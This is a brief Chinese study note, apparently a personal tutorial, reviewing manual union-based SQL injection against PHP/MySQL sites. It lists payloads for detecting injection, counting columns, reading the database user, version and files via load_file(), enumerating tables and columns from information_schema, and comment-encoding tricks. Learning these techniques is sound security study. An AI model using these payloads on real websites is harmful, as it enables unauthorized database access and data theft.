既然說了從頭開始,先從注入開始吧,先來溫習一下之前會的一些注入。
PHP注入
0x01:
判斷是否存在注入:
' 報錯
' and 1=1 正確
' and 1=2 錯誤
0x01:
order by X X表示整數,判斷數據庫共有多少個字段
' and 1=2 union select 1,2,3... //列出所有字段,看頁面上顯示哪些字段,換成我么你想查詢的數據
' and 1=2 union select 1,user(),3... //網頁上顯示2的地方換顯示數據庫用戶用戶名
這兒user()可換成:
database() 當前數據庫
@@datadir 數據庫地址
version() 數據庫版本
load_file() 讀取指定文件
。。。。。
' and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where TABLE_SCHEMA=database() limit 0,1 //爆表名
' and 1=2 union select 1,COLUMN_NAME,3 from information_schema.columns where TABLE_NAME=table_name limit 0,1 //爆列名
' and 1=2 union select 1, column,3 from table //爆數據
注意事項:
注入中有時候需要注釋部分語句,可以用
# %23
+--+ //+表示鏈接,
空格可用%20